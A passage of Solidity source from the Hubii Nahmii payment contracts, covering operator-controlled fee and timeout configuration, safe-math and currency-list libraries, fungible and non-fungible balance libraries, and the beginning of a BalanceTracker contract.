if (0 < currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].count())
return currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].valueAt(blockNumber);
else
return paymentMinimumFee(blockNumber);
}
/// @notice Set payment minimum relative fee for given currency at given block number tier
/// @param fromBlockNumber Block number from which the update applies
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param nominal Minimum relative fee
function setCurrencyPaymentMinimumFee(uint256 fromBlockNumber, address currencyCt, uint256 currencyId, int256 nominal)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].addEntry(fromBlockNumber, nominal);
emit SetCurrencyPaymentMinimumFeeEvent(fromBlockNumber, currencyCt, currencyId, nominal);
}
/// @notice Get number of fee currencies for the given reference currency
/// @param currencyCt The address of the concerned reference currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned reference currency (0 for ETH and ERC20)
function feeCurrenciesCount(address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return feeCurrencyByCurrencyBlockNumber.count(MonetaryTypesLib.Currency(currencyCt, currencyId));
}
/// @notice Get the fee currency for the given reference currency at given block number
/// @param blockNumber The concerned block number
/// @param currencyCt The address of the concerned reference currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned reference currency (0 for ETH and ERC20)
function feeCurrency(uint256 blockNumber, address currencyCt, uint256 currencyId)
public
view
returns (address ct, uint256 id)
{
MonetaryTypesLib.Currency storage _feeCurrency = feeCurrencyByCurrencyBlockNumber.currencyAt(
MonetaryTypesLib.Currency(currencyCt, currencyId), blockNumber
);
ct = _feeCurrency.ct;
id = _feeCurrency.id;
}
/// @notice Set the fee currency for the given reference currency at given block number
/// @param fromBlockNumber Block number from which the update applies
/// @param referenceCurrencyCt The address of the concerned reference currency contract (address(0) == ETH)
/// @param referenceCurrencyId The ID of the concerned reference currency (0 for ETH and ERC20)
/// @param feeCurrencyCt The address of the concerned fee currency contract (address(0) == ETH)
/// @param feeCurrencyId The ID of the concerned fee currency (0 for ETH and ERC20)
function setFeeCurrency(uint256 fromBlockNumber, address referenceCurrencyCt, uint256 referenceCurrencyId,
address feeCurrencyCt, uint256 feeCurrencyId)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
feeCurrencyByCurrencyBlockNumber.addEntry(
fromBlockNumber,
MonetaryTypesLib.Currency(referenceCurrencyCt, referenceCurrencyId),
MonetaryTypesLib.Currency(feeCurrencyCt, feeCurrencyId)
);
emit SetFeeCurrencyEvent(fromBlockNumber, referenceCurrencyCt, referenceCurrencyId,
feeCurrencyCt, feeCurrencyId);
}
/// @notice Get the current value of wallet lock timeout
/// @return The value of wallet lock timeout
function walletLockTimeout()
public
view
returns (uint256)
{
return walletLockTimeoutByBlockNumber.currentValue();
}
/// @notice Set timeout of wallet lock
/// @param fromBlockNumber Block number from which the update applies
/// @param timeoutInSeconds Timeout duration in seconds
function setWalletLockTimeout(uint256 fromBlockNumber, uint256 timeoutInSeconds)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
walletLockTimeoutByBlockNumber.addEntry(fromBlockNumber, timeoutInSeconds);
emit SetWalletLockTimeoutEvent(fromBlockNumber, timeoutInSeconds);
}
/// @notice Get the current value of cancel order challenge timeout
/// @return The value of cancel order challenge timeout
function cancelOrderChallengeTimeout()
public
view
returns (uint256)
{
return cancelOrderChallengeTimeoutByBlockNumber.currentValue();
}
/// @notice Set timeout of cancel order challenge
/// @param fromBlockNumber Block number from which the update applies
/// @param timeoutInSeconds Timeout duration in seconds
function setCancelOrderChallengeTimeout(uint256 fromBlockNumber, uint256 timeoutInSeconds)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
cancelOrderChallengeTimeoutByBlockNumber.addEntry(fromBlockNumber, timeoutInSeconds);
emit SetCancelOrderChallengeTimeoutEvent(fromBlockNumber, timeoutInSeconds);
}
/// @notice Get the current value of settlement challenge timeout
/// @return The value of settlement challenge timeout
function settlementChallengeTimeout()
public
view
returns (uint256)
{
return settlementChallengeTimeoutByBlockNumber.currentValue();
}
/// @notice Set timeout of settlement challenges
/// @param fromBlockNumber Block number from which the update applies
/// @param timeoutInSeconds Timeout duration in seconds
function setSettlementChallengeTimeout(uint256 fromBlockNumber, uint256 timeoutInSeconds)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
settlementChallengeTimeoutByBlockNumber.addEntry(fromBlockNumber, timeoutInSeconds);
emit SetSettlementChallengeTimeoutEvent(fromBlockNumber, timeoutInSeconds);
}
/// @notice Get the current value of fraud stake fraction
/// @return The value of fraud stake fraction
function fraudStakeFraction()
public
view
returns (uint256)
{
return fraudStakeFractionByBlockNumber.currentValue();
}
/// @notice Set fraction of security bond that will be gained from successfully challenging
/// in fraud challenge
/// @param fromBlockNumber Block number from which the update applies
/// @param stakeFraction The fraction gained
function setFraudStakeFraction(uint256 fromBlockNumber, uint256 stakeFraction)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
fraudStakeFractionByBlockNumber.addEntry(fromBlockNumber, stakeFraction);
emit SetFraudStakeFractionEvent(fromBlockNumber, stakeFraction);
}
/// @notice Get the current value of wallet settlement stake fraction
/// @return The value of wallet settlement stake fraction
function walletSettlementStakeFraction()
public
view
returns (uint256)
{
return walletSettlementStakeFractionByBlockNumber.currentValue();
}
/// @notice Set fraction of security bond that will be gained from successfully challenging
/// in settlement challenge triggered by wallet
/// @param fromBlockNumber Block number from which the update applies
/// @param stakeFraction The fraction gained
function setWalletSettlementStakeFraction(uint256 fromBlockNumber, uint256 stakeFraction)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
walletSettlementStakeFractionByBlockNumber.addEntry(fromBlockNumber, stakeFraction);
emit SetWalletSettlementStakeFractionEvent(fromBlockNumber, stakeFraction);
}
/// @notice Get the current value of operator settlement stake fraction
/// @return The value of operator settlement stake fraction
function operatorSettlementStakeFraction()
public
view
returns (uint256)
{
return operatorSettlementStakeFractionByBlockNumber.currentValue();
}
/// @notice Set fraction of security bond that will be gained from successfully challenging
/// in settlement challenge triggered by operator
/// @param fromBlockNumber Block number from which the update applies
/// @param stakeFraction The fraction gained
function setOperatorSettlementStakeFraction(uint256 fromBlockNumber, uint256 stakeFraction)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
operatorSettlementStakeFractionByBlockNumber.addEntry(fromBlockNumber, stakeFraction);
emit SetOperatorSettlementStakeFractionEvent(fromBlockNumber, stakeFraction);
}
/// @notice Get the current value of operator settlement stake
/// @return The value of operator settlement stake
function operatorSettlementStake()
public
view
returns (int256 amount, address currencyCt, uint256 currencyId)
{
MonetaryTypesLib.Figure storage stake = operatorSettlementStakeByBlockNumber.currentValue();
amount = stake.amount;
currencyCt = stake.currency.ct;
currencyId = stake.currency.id;
}
/// @notice Set figure of security bond that will be gained from successfully challenging
/// in settlement challenge triggered by operator
/// @param fromBlockNumber Block number from which the update applies
/// @param stakeAmount The amount gained
/// @param stakeCurrencyCt The address of currency gained
/// @param stakeCurrencyId The ID of currency gained
function setOperatorSettlementStake(uint256 fromBlockNumber, int256 stakeAmount,
address stakeCurrencyCt, uint256 stakeCurrencyId)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
MonetaryTypesLib.Figure memory stake = MonetaryTypesLib.Figure(stakeAmount, MonetaryTypesLib.Currency(stakeCurrencyCt, stakeCurrencyId));
operatorSettlementStakeByBlockNumber.addEntry(fromBlockNumber, stake);
emit SetOperatorSettlementStakeEvent(fromBlockNumber, stakeAmount, stakeCurrencyCt, stakeCurrencyId);
}
/// @notice Set the block number of the earliest settlement initiation
/// @param _earliestSettlementBlockNumber The block number of the earliest settlement
function setEarliestSettlementBlockNumber(uint256 _earliestSettlementBlockNumber)
public
onlyOperator
{
earliestSettlementBlockNumber = _earliestSettlementBlockNumber;
emit SetEarliestSettlementBlockNumberEvent(earliestSettlementBlockNumber);
}
/// @notice Disable further updates to the earliest settlement block number
/// @dev This operation can not be undone
function disableEarliestSettlementBlockNumberUpdate()
public
onlyOperator
{
earliestSettlementBlockNumberUpdateDisabled = true;
emit DisableEarliestSettlementBlockNumberUpdateEvent();
}
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier onlyDelayedBlockNumber(uint256 blockNumber) {
require(
0 == updateDelayBlocksByBlockNumber.count() ||
blockNumber >= block.number + updateDelayBlocksByBlockNumber.currentValue()
);
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Benefactor
* @notice An ownable that has a client fund property
*/
contract Configurable is Ownable {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
Configuration public configuration;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SetConfigurationEvent(Configuration oldConfiguration, Configuration newConfiguration);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Set the configuration contract
/// @param newConfiguration The (address of) Configuration contract instance
function setConfiguration(Configuration newConfiguration)
public
onlyDeployer
notNullAddress(newConfiguration)
notSameAddresses(newConfiguration, configuration)
{
// Set new configuration
Configuration oldConfiguration = configuration;
configuration = newConfiguration;
// Emit event
emit SetConfigurationEvent(oldConfiguration, newConfiguration);
}
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier configurationInitialized() {
require(configuration != address(0));
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS based on Open-Zeppelin's SafeMath library
*/
/**
* @title SafeMathUintLib
* @dev Math operations with safety checks that throw on error
*/
library SafeMathUintLib {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
//
//Clamping functions.
//
function clamp(uint256 a, uint256 min, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : ((a < min) ? min : a);
}
function clampMin(uint256 a, uint256 min)
public
pure
returns (uint256)
{
return (a < min) ? min : a;
}
function clampMax(uint256 a, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : a;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library CurrenciesLib {
using SafeMathUintLib for uint256;
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Currencies {
MonetaryTypesLib.Currency[] currencies;
mapping(address => mapping(uint256 => uint256)) indexByCurrency;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function add(Currencies storage self, address currencyCt, uint256 currencyId)
internal
{
// Index is 1-based
if (0 == self.indexByCurrency[currencyCt][currencyId]) {
self.currencies.push(MonetaryTypesLib.Currency(currencyCt, currencyId));
self.indexByCurrency[currencyCt][currencyId] = self.currencies.length;
}
}
function removeByCurrency(Currencies storage self, address currencyCt, uint256 currencyId)
internal
{
// Index is 1-based
uint256 index = self.indexByCurrency[currencyCt][currencyId];
if (0 < index)
removeByIndex(self, index - 1);
}
function removeByIndex(Currencies storage self, uint256 index)
internal
{
require(index < self.currencies.length);
address currencyCt = self.currencies[index].ct;
uint256 currencyId = self.currencies[index].id;
if (index < self.currencies.length - 1) {
self.currencies[index] = self.currencies[self.currencies.length - 1];
self.indexByCurrency[self.currencies[index].ct][self.currencies[index].id] = index + 1;
}
self.currencies.length--;
self.indexByCurrency[currencyCt][currencyId] = 0;
}
function count(Currencies storage self)
internal
view
returns (uint256)
{
return self.currencies.length;
}
function has(Currencies storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return 0 != self.indexByCurrency[currencyCt][currencyId];
}
function getByIndex(Currencies storage self, uint256 index)
internal
view
returns (MonetaryTypesLib.Currency)
{
require(index < self.currencies.length);
return self.currencies[index];
}
function getByIndices(Currencies storage self, uint256 low, uint256 up)
internal
view
returns (MonetaryTypesLib.Currency[])
{
require(0 < self.currencies.length);
require(low <= up);
up = up.clampMax(self.currencies.length - 1);
MonetaryTypesLib.Currency[] memory _currencies = new MonetaryTypesLib.Currency[](up - low + 1);
for (uint256 i = low; i <= up; i++)
_currencies[i - low] = self.currencies[i];
return _currencies;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library FungibleBalanceLib {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using CurrenciesLib for CurrenciesLib.Currencies;
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Record {
int256 amount;
uint256 blockNumber;
}
struct Balance {
mapping(address => mapping(uint256 => int256)) amountByCurrency;
mapping(address => mapping(uint256 => Record[])) recordsByCurrency;
CurrenciesLib.Currencies inUseCurrencies;
CurrenciesLib.Currencies everUsedCurrencies;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function get(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256)
{
return self.amountByCurrency[currencyCt][currencyId];
}
function getByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256)
{
(int256 amount,) = recordByBlockNumber(self, currencyCt, currencyId, blockNumber);
return amount;
}
function set(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = amount;
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function add(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function sub(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function transfer(Balance storage _from, Balance storage _to, int256 amount,
address currencyCt, uint256 currencyId)
internal
{
sub(_from, amount, currencyCt, currencyId);
add(_to, amount, currencyCt, currencyId);
}
function add_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add_nn(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function sub_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub_nn(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function transfer_nn(Balance storage _from, Balance storage _to, int256 amount,
address currencyCt, uint256 currencyId)
internal
{
sub_nn(_from, amount, currencyCt, currencyId);
add_nn(_to, amount, currencyCt, currencyId);
}
function recordsCount(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.recordsByCurrency[currencyCt][currencyId].length;
}
function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256, uint256)
{
uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber);
return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (0, 0);
}
function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index)
internal
view
returns (int256, uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (0, 0);
index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][index];
return (record.amount, record.blockNumber);
}
function lastRecord(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256, uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (0, 0);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1];
return (record.amount, record.blockNumber);
}
function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.inUseCurrencies.has(currencyCt, currencyId);
}
function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.everUsedCurrencies.has(currencyCt, currencyId);
}
function updateCurrencies(Balance storage self, address currencyCt, uint256 currencyId)
internal
{
if (0 == self.amountByCurrency[currencyCt][currencyId] && self.inUseCurrencies.has(currencyCt, currencyId))
self.inUseCurrencies.removeByCurrency(currencyCt, currencyId);
else if (!self.inUseCurrencies.has(currencyCt, currencyId)) {
self.inUseCurrencies.add(currencyCt, currencyId);
self.everUsedCurrencies.add(currencyCt, currencyId);
}
}
function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return 0;
for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--)
if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber)
return i;
return 0;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
library NonFungibleBalanceLib {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using CurrenciesLib for CurrenciesLib.Currencies;
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Record {
int256[] ids;
uint256 blockNumber;
}
struct Balance {
mapping(address => mapping(uint256 => int256[])) idsByCurrency;
mapping(address => mapping(uint256 => mapping(int256 => uint256))) idIndexById;
mapping(address => mapping(uint256 => Record[])) recordsByCurrency;
CurrenciesLib.Currencies inUseCurrencies;
CurrenciesLib.Currencies everUsedCurrencies;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function get(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256[])
{
return self.idsByCurrency[currencyCt][currencyId];
}
function getByIndices(Balance storage self, address currencyCt, uint256 currencyId, uint256 indexLow, uint256 indexUp)
internal
view
returns (int256[])
{
if (0 == self.idsByCurrency[currencyCt][currencyId].length)
return new int256[](0);
indexUp = indexUp.clampMax(self.idsByCurrency[currencyCt][currencyId].length - 1);
int256[] memory idsByCurrency = new int256[](indexUp - indexLow + 1);
for (uint256 i = indexLow; i < indexUp; i++)
idsByCurrency[i - indexLow] = self.idsByCurrency[currencyCt][currencyId][i];
return idsByCurrency;
}
function idsCount(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.idsByCurrency[currencyCt][currencyId].length;
}
function hasId(Balance storage self, int256 id, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return 0 < self.idIndexById[currencyCt][currencyId][id];
}
function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256[], uint256)
{
uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber);
return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (new int256[](0), 0);
}
function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index)
internal
view
returns (int256[], uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (new int256[](0), 0);
index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][index];
return (record.ids, record.blockNumber);
}
function lastRecord(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256[], uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (new int256[](0), 0);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1];
return (record.ids, record.blockNumber);
}
function recordsCount(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.recordsByCurrency[currencyCt][currencyId].length;
}
function set(Balance storage self, int256 id, address currencyCt, uint256 currencyId)
internal
{
int256[] memory ids = new int256[](1);
ids[0] = id;
set(self, ids, currencyCt, currencyId);
}
function set(Balance storage self, int256[] ids, address currencyCt, uint256 currencyId)
internal
{
uint256 i;
for (i = 0; i < self.idsByCurrency[currencyCt][currencyId].length; i++)
self.idIndexById[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId][i]] = 0;
self.idsByCurrency[currencyCt][currencyId] = ids;
for (i = 0; i < self.idsByCurrency[currencyCt][currencyId].length; i++)
self.idIndexById[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId][i]] = i + 1;
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.idsByCurrency[currencyCt][currencyId], block.number)
);
updateInUseCurrencies(self, currencyCt, currencyId);
}
function reset(Balance storage self, address currencyCt, uint256 currencyId)
internal
{
for (uint256 i = 0; i < self.idsByCurrency[currencyCt][currencyId].length; i++)
self.idIndexById[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId][i]] = 0;
self.idsByCurrency[currencyCt][currencyId].length = 0;
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.idsByCurrency[currencyCt][currencyId], block.number)
);
updateInUseCurrencies(self, currencyCt, currencyId);
}
function add(Balance storage self, int256 id, address currencyCt, uint256 currencyId)
internal
returns (bool)
{
if (0 < self.idIndexById[currencyCt][currencyId][id])
return false;
self.idsByCurrency[currencyCt][currencyId].push(id);
self.idIndexById[currencyCt][currencyId][id] = self.idsByCurrency[currencyCt][currencyId].length;
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.idsByCurrency[currencyCt][currencyId], block.number)
);
updateInUseCurrencies(self, currencyCt, currencyId);
return true;
}
function sub(Balance storage self, int256 id, address currencyCt, uint256 currencyId)
internal
returns (bool)
{
uint256 index = self.idIndexById[currencyCt][currencyId][id];
if (0 == index)
return false;
if (index < self.idsByCurrency[currencyCt][currencyId].length) {
self.idsByCurrency[currencyCt][currencyId][index - 1] = self.idsByCurrency[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId].length - 1];
self.idIndexById[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId][index - 1]] = index;
}
self.idsByCurrency[currencyCt][currencyId].length--;
self.idIndexById[currencyCt][currencyId][id] = 0;
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.idsByCurrency[currencyCt][currencyId], block.number)
);
updateInUseCurrencies(self, currencyCt, currencyId);
return true;
}
function transfer(Balance storage _from, Balance storage _to, int256 id,
address currencyCt, uint256 currencyId)
internal
returns (bool)
{
return sub(_from, id, currencyCt, currencyId) && add(_to, id, currencyCt, currencyId);
}
function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.inUseCurrencies.has(currencyCt, currencyId);
}
function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.everUsedCurrencies.has(currencyCt, currencyId);
}
function updateInUseCurrencies(Balance storage self, address currencyCt, uint256 currencyId)
internal
{
if (0 == self.idsByCurrency[currencyCt][currencyId].length && self.inUseCurrencies.has(currencyCt, currencyId))
self.inUseCurrencies.removeByCurrency(currencyCt, currencyId);
else if (!self.inUseCurrencies.has(currencyCt, currencyId)) {
self.inUseCurrencies.add(currencyCt, currencyId);
self.everUsedCurrencies.add(currencyCt, currencyId);
}
}
function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return 0;
for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--)
if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber)
return i;
return 0;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Balance tracker
* @notice An ownable to track balances of generic types
*/
contract BalanceTracker is Ownable, Servable {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using FungibleBalanceLib for FungibleBalanceLib.Balance;
using NonFungibleBalanceLib for NonFungibleBalanceLib.Balance;
//
// Constants
// -----------------------------------------------------------------------------------------------------------------
string constant public DEPOSITED_BALANCE_TYPE = "deposited";
string constant public SETTLED_BALANCE_TYPE = "settled";
string constant public STAGED_BALANCE_TYPE = "staged";
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Wallet {
mapping(bytes32 => FungibleBalanceLib.Balance) fungibleBalanceByType;
mapping(bytes32 => NonFungibleBalanceLib.Balance) nonFungibleBalanceByType;
}
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
bytes32 public depositedBalanceType;
bytes32 public settledBalanceType;
bytes32 public stagedBalanceType;
bytes32[] public _allBalanceTypes;
bytes32[] public _activeBalanceTypes;
bytes32[] public trackedBalanceTypes;
mapping(bytes32 => bool) public trackedBalanceTypeMap;
mapping(address => Wallet) private walletMap;
address[] public trackedWallets;
mapping(address => uint256) public trackedWalletIndexByWallet;
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer)
public
{
depositedBalanceType = keccak256(abi.encodePacked(DEPOSITED_BALANCE_TYPE));
settledBalanceType = keccak256(abi.encodePacked(SETTLED_BALANCE_TYPE));
stagedBalanceType = keccak256(abi.encodePacked(STAGED_BALANCE_TYPE));
_allBalanceTypes.push(settledBalanceType);
_allBalanceTypes.push(depositedBalanceType);
_allBalanceTypes.push(stagedBalanceType);
_activeBalanceTypes.push(settledBalanceType);
_activeBalanceTypes.push(depositedBalanceType);
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Get the fungible balance (amount) of the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The stored balance
function get(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return walletMap[wallet].fungibleBalanceByType[_type].get(currencyCt, currencyId);
}
/// @notice Get the non-fungible balance (IDs) of the given wallet, type, currency and index range
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param indexLow The lower index of IDs
/// @param indexUp The upper index of IDs
/// @return The stored balance
function getByIndices(address wallet, bytes32 _type, address currencyCt, uint256 currencyId,
uint256 indexLow, uint256 indexUp)
public
view
returns (int256[])
{
return walletMap[wallet].nonFungibleBalanceByType[_type].getByIndices(
currencyCt, currencyId, indexLow, indexUp
);
}
/// @notice Get all the non-fungible balance (IDs) of the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The stored balance
function getAll(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (int256[])
{
return walletMap[wallet].nonFungibleBalanceByType[_type].get(
currencyCt, currencyId
);
}
/// @notice Get the count of non-fungible IDs of the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The count of IDs
function idsCount(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return walletMap[wallet].nonFungibleBalanceByType[_type].idsCount(
currencyCt, currencyId
);
}
/// @notice Gauge whether the ID is included in the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param id The ID of the concerned unit
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return true if ID is included, else false
function hasId(address wallet, bytes32 _type, int256 id, address currencyCt, uint256 currencyId)
public
view
returns (bool)
{
return walletMap[wallet].nonFungibleBalanceByType[_type].hasId(
id, currencyCt, currencyId
);
}
/// @notice Set the balance of the given wallet, type and currency to the given value
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param value The value (amount of fungible, id of non-fungible) to set
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param fungible True if setting fungible balance, else false
function set(address wallet, bytes32 _type, int256 value, address currencyCt, uint256 currencyId, bool fungible)
public
onlyActiveService
{
// Update the balance
if (fungible)
walletMap[wallet].fungibleBalanceByType[_type].set(
value, currencyCt, currencyId
);
else
walletMap[wallet].nonFungibleBalanceByType[_type].set(
value, currencyCt, currencyId
);
// Update balance type hashes
_updateTrackedBalanceTypes(_type);
// Update tracked wallets
_updateTrackedWallets(wallet);
}
